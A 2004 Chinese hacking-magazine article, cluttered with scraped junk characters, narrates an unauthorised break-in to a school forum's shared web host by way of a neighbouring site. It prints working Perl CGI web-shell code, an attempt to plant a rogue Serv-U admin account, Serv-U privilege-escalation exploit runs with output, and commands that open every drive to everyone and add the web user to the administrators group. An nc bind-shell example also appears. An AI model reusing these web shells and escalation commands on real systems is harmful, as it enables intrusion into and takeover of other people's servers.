剑走偏锋——灵巧的旁注攻击 & S# U- j* W) B+ p- z
本文作者:angel! x2 S; H5 J! P: K
文章性质:原创- C0 [. Q; @& R& \
发布日期:2004-11-09 : J# Z% p% v% f" d1 d! H
注意:. c1 w8 s0 T2 E$ y6 ]; O
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
7 z% r: t' s( z0 _# Z" R, V本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
$ l6 S. p( H+ ^5 Y( g
3 R; i# T e- l, R2 `. \ 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 / v" a$ Y$ _) l+ x# N
0 Y! X' T# p9 F+ J `. u$ u" [9 ? 一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
$ [0 i" O/ M) @# n+ K; ?) u: B1 M$ c; f
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 * G9 q: l0 l- x) M/ y9 x
# W# s0 }" Q9 i8 ^ 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 " f: W( R) d2 j3 I! B
) l t: O' ~% o8 k5 b 大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
# _# A/ m, ~* E+ l6 a. X
8 Y- {, a6 I" Q, e2 A 没有目的的跳转目录着……
, D+ O3 j% E2 k, ]' {9 C; [) j8 W M! w- W; x' D* f+ ~& e
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
8 h' r; o+ j- @: `
& s5 u0 Q" {/ W' j7 J8 F0 I0 H 结束了吗?不,我试着 FTP 一下: % ]% g) j* P* `
9 W" _' ^" t7 L: h" C/ k
Microsoft Windows 2000 [Version 5.00.2195]( x$ R/ q9 K2 D0 g2 c6 g3 g# m# z# B
(C) 版权所有 1985-2000 Microsoft Corp. ( [& K) f" R6 `2 {3 B/ A* j Z
) l5 Y5 m6 B8 h5 }
C:\Documents and Settings\Administrator>ftp www.school.com; {7 m. c9 F: F! Y- p; \3 t* d# T& t
Connected to www. school.com.
: `2 ?3 E* S, e, \1 w1 J( V q220 Welcome to FTP Server...
( q% S9 E7 H3 M1 H' w9 f6 qUser (www.bjtrq.com:(none)): 6 {- R) C4 s* Z& I/ ~/ o$ O
331 User name okay, need password. $ B; [1 P' b( {7 ^' m
Password:
1 X7 E8 i$ g( Z9 A* Y) P530 Not logged in. ! o/ D" V$ @0 F" J& f3 e( P6 \' s& h
Login failed.
5 v9 Q/ s" n! Y. bftp> bye & n1 V& O2 o, s% h0 S% ~, j
221 Goodbye!
* x6 m2 [# ?* ^1 B
4 }) Q. S( Q% q- R" o$ E* R
+ F. h; A; ~* `7 e) H' K! R 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
- d! a# n3 z) @. D0 q% ^/ l3 ?6 X6 E$ r# B% S, `" U
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 & K, J7 f7 @1 E
% Y2 m1 H' i# h& N, W
Application Data
- G1 o+ D; U+ B/ ADocuments# V, C' l! H2 C" z3 i9 L6 V" L2 W
DRM
1 s/ u/ {+ ~. ^; R3 f P* gFavorites4 J6 t3 V- j1 l0 \# G& v
Templates0 K: j6 X9 ^: u& c1 s
「开始」菜单
+ q) R9 a3 n! I6 u W& |# \: T桌面
% ~* q* H' y Z( D/ `" G ! F6 `- }. A3 w/ g8 \% F) E2 }
1 n2 U: L+ M, b- k& n+ N; e# \# s 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
3 Y! ?! |2 d; S" R: F, V" m6 h! a! S( M3 M3 p. p$ G0 w7 B
ActiveState ActivePerl 5.88 H, A9 p# g# P+ [* U$ r& L
Administrative Tools2 {0 U+ y) e0 X3 h1 n; T7 d
Deerfield.com
0 ^+ j- |/ }1 F0 ?, QDTemp
* O2 Q- |- z3 v0 `8 rIPSentry# Q9 n; P$ w5 q# j8 I1 w
MBM 5
1 ~+ q9 [3 E# ]3 }NetMeter9 D" U: r" k: I4 p2 d ~7 [
Network ICE
. j( ~/ W8 X U9 v6 Z3 N5 ZPersits Software AspEmail) b |: h$ L; \" O. Q: y; W6 X
Persits Software AspJpeg
& ~' \7 \' l, a$ {; a6 JServ-U FTP Server6 @, M4 v& r# A0 N5 I
Symantec Client Security( ?3 Y+ |; U3 }/ K+ c
Windows 优化大师. A5 @8 w4 L, k- ]3 ?# T9 d ?2 B
WinRAR8 D7 g7 q" b1 T" d
启动7 d( d% ]1 V! z1 f! O
管理工具
# l0 K* }$ A% t p1 ^' T5 \附件: Z* s7 h0 [7 Q* Y
; K$ S5 f7 G$ r/ Q
! W( o3 W4 F. i& [& v8 f 呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 * e% [) }2 v5 A! E0 @
; A6 l" k$ I. a% u7 |
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
: l P' y/ D" T2 p! A/ z% ^' W& B. d5 f: Q
User281=angel|1|0
7 V7 I9 H- e. {+ N& u' i2 ]# R. N" x 7 c2 Z/ K2 J8 i' j$ [$ @3 Y. M
) X7 Q3 [( Y! V$ f, G) S, h 然后加上 ' j/ k" F% r* C1 t: u
1 ~2 v! N/ n8 @; L
[USER=angel|1]
) }0 `; e- E0 ?" D" t' XPassword=ng98F85379EA68DBF97BAADCA99B69B805+ d; e- Z/ t9 g: S6 Z, F9 V
HomeDir=D:\websites% \( s& w: Y* g3 k. |
RelPaths=12 p) Y! K$ I& D6 {- n
TimeOut=600# \. e6 d3 [7 d9 j! Y: D3 T h6 e+ m Y
Maintenance=System5 T4 ?. O4 {- R8 x ~# |
Access1=D:\websites|RWAMELCDP! d t4 \0 Z1 ]
SKEYValues=/ c' V# X) R8 |1 L2 t( n
: D# w: I7 C6 d6 h
0 P/ Q! J* h6 \6 w0 [8 ] 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
1 u$ H% Q& U- P5 x, a, _+ s8 j0 G
- z7 s) [! h3 L) j+ t/ x6 s 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 - C s$ {3 ^; T' F- q5 H6 ^
+ T [5 B' l9 K3 C
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 % D& m& f8 f, R9 m0 M5 L! {% p* h
& f/ ]" `; M; R: @5 s 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: * J: }) A" @: P* R* e3 k
9 t/ E1 p1 m" G4 b
#!/usr/bin/perl0 }5 I0 O* y) O: N3 ~6 v6 j. f: _
binmode(STDOUT);
1 }2 `4 V! ?8 A$ H. Lsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
7 E# H" t1 j( D: X% E& |$_ = $ENV{QUERY_STRING};
- C) m8 _+ d1 g% H# j- _s/%20/ /ig;5 O2 n% u8 l L, C
s/%2f/\//ig;+ O# t* |: d! {+ ~# K j) x* |
$execthis = $_;
* _. t; O4 [1 xsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);1 H6 b! e& a! ^0 ^0 V1 |# k2 D
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
4 ^' g. j5 T g' D! S- Usystem($execthis);
7 V/ Z! Q! a" D$ Q$ ?: z+ i- S) N8 \syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
% Q( O u3 Y$ ], r. u" Sclose(STDERR);% u: R0 n) `) G" F- i0 u
close(STDOUT);
3 F4 I0 X/ A( x- Z9 B' m" H' t; e, Fexit;3 ^5 P( J2 d' s3 y ]+ B ?' t
5 J; f6 s+ c) t: I
* L: |* Q5 ~, h# o3 z+ Q
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
) F5 x5 |8 M/ {' Q0 p3 d5 v( ]6 L: n# D$ K s$ w
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: ; ?4 m: |" x. c( v' v
% {4 P; n# e. Y' k- rhttp://anyhost//cmd.pl?d:\user\bin\su.exe * m U8 t% X2 f9 ?
7 K T* ]& q2 F' E$ }( a7 ]# ~/ C) I3 T! W. q2 y, k; J" Z
返回:
t" o6 f3 P, |$ P! N
8 B7 b2 u* L2 cServ-u >3.x Local Exploit by xiaolu
4 X( p$ U4 z* Y- M4 B. O$ G
; W2 M; b6 u7 v& q2 hUSAGE: serv-u.exe "command"
; [" A4 ^& [9 k- X3 j$ \
( c' q) ~& Q: iExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" L+ p1 \; y$ J4 }) _ `. ?7 b
' f1 W# N7 O- _! v. s7 ^+ a+ S
/ E9 ]; v+ i; Y6 K9 ?) Z( V$ F0 z. ] 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
# E4 L, H4 p5 ]. ^4 `& c5 v+ q3 U |) _5 {1 w
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" 8 L3 {, c" |7 [, h/ M. u
; w) ?3 T1 f; u2 V' c" Ihttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
/ m1 v5 r* H3 Y- @
- f3 l2 a' B* h2 ]http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" 0 }7 w k, O/ \8 V
- P# G/ r7 H I& g! G7 Phttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
- O x' C) n0 G9 d6 N' f3 A9 s 8 l1 B5 D' i6 [4 h' H% a
: L- b4 e! ~+ x5 d8 f 返回下面的信息,就表示成功了!!!
. o% l4 Z( |, m0 W/ f6 R" v7 T+ J4 H. L
Serv-u >3.x Local Exploit by xiaolu
0 \. \5 K' M/ j b0 ?7 P/ T# Z, j0 N( y7 t& `2 z
<220 Serv-U FTP Server v5.2 for WinSock ready...
5 }) ~$ ~" A: q, j. p, r% N3 P& Q7 u. \5 E
>USER LocalAdministrator
0 k" W+ c+ R0 o" x
8 |( c2 t9 _3 e* x& { U<331 User name okay, need password. # N% l0 y- z& e- L( J9 R
9 t; m( P" B( n, J****************************************************** , M! z1 l- c% B% J- [1 i
+ x, s( [; g8 {- q2 \5 S4 [
>PASS #l@$ak#.lk;0@P
1 S. B3 T9 l, d& b9 P7 ?& i3 X! M+ w: P6 M |& V- w
<230 User logged in, proceed.
; C' j5 b6 `! l/ ?# a0 r8 l2 A `
4 a" r1 H& O; |0 d, f8 E****************************************************** # K, F% f4 w* o- v: j4 D
@/ S/ ?1 A0 v3 v% ?* [# z9 j, x>SITE MAINTENANCE
! X! C m! f( v! M7 ]' c1 n! ]! O
******************************************************
& m+ f% S* `$ F6 J1 I9 j
$ `1 M p) h& f: n8 z# p[+] Creating New Domain...
! D+ d6 O% `$ T, C2 ?* z k
6 F8 G0 F! p) F+ y7 C<200-DomainID=2 4 _7 A9 V4 z/ w5 v
9 x6 ~ ~% [! Z- o! |* h) L<220 Domain settings saved
/ s6 Z: A7 i% d- g
, ~& v, e* O0 _7 Q$ M% q/ w6 n****************************************************** 4 [( I( y/ \) L; }$ X
3 ?7 j" Z6 o( w/ {1 z
[+] Domain xl:2 Created 0 ~: ^+ Z& i- O$ \/ [. D
) L6 n! q+ O" u) a3 z( G( W[+] Creating Evil User
. V+ p* d/ O: h( H$ t) Z2 _( l- } a* r
<200-User=xl - j1 M' B$ d) b
W+ s- E7 M6 x- W
200 User settings saved
* L, X% k$ V; H# T* H# J* B' F
: n7 b b8 o" j& p A******************************************************
+ A: o) y2 [# p" F! O
8 p7 D) X- R9 \7 ]' T% ~& B[+] Now Exploiting... 4 V- m& H1 N1 \ P
; a( |/ K/ [5 M4 U>USER xl 3 I4 b/ Z0 \; a& b6 O) k/ l3 z$ L$ M
5 u! B# a) A& Z8 v) I
<331 User name okay, need password.
# Q6 v$ R, l" W& b* |7 q1 m+ T. D# p% }2 _9 q2 Y4 [! i* Z1 _3 i
****************************************************** 1 M, y6 Q( s6 H7 b
! [% N# h4 \6 e; s+ R- e3 _$ M
>PASS 111111
y3 |' o. V) F' {. b5 p O0 ?2 E+ E. C
<230 User logged in, proceed.
: E$ f! }7 h4 h. Z) y! C' v1 w) [4 P8 F. {8 z
******************************************************
9 @3 u0 x" [) _; O ~0 f6 t. p- e" N" X+ w& b1 n1 R
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
7 v1 l2 f1 J' B3 a& H' \
( L% |/ _3 a& D j, m<220 Domain deleted + R5 G9 ^; A2 r3 _7 A% U
( |- Y" i% `- g# a******************************************************
5 m3 f% X) h$ S0 K P# \4 z 9 }5 ^0 ]. j) C
9 ^7 |6 F+ M0 o& g 每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
' `- `# V9 g9 p* a- A: O; d! ~1 ]8 c7 h9 C) n
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
9 c, S" R8 M1 J% o* {0 Z+ G " \( L/ V; d' ` \ l f! n
, y, \3 l9 E, }: @+ Q 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 ! e+ A- O, \6 C) c) N' ~, {
8 L' W- z, q/ [$ l 说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。- S( R+ x. G* {& F( `& l" F
, V+ p' Y3 G( V; c# d
5 f& |- i9 d* j$ l. r$ e |